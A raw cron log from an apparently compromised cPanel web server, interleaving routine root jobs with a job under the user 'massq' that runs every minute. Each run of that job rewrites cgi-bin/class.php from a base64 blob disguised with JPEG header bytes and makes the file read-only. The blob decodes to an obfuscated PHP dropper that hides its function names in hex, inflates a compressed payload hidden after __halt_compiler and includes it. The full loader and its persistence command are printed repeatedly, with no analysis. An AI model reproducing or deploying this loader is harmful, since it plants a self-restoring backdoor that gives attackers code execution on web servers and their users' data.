Nov 16 00:21:01 server CROND[10963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:22:01 server CROND[11267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:23:01 server CROND[11529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:24:01 server CROND[11789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:25:01 server CROND[12143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:25:01 server CROND[12144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:25:01 server CROND[12145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:25:01 server CROND[12146]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:26:01 server CROND[12430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:27:01 server CROND[12701]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:27:01 server CROND[12702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:28:01 server CROND[13119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:29:01 server CROND[13371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:30:01 server CROND[13631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:30:01 server CROND[13633]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 16 00:30:01 server CROND[13634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:30:01 server CROND[13635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 00:30:01 server CROND[13636]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:31:01 server CROND[14058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:32:01 server CROND[14310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:33:01 server CROND[14587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
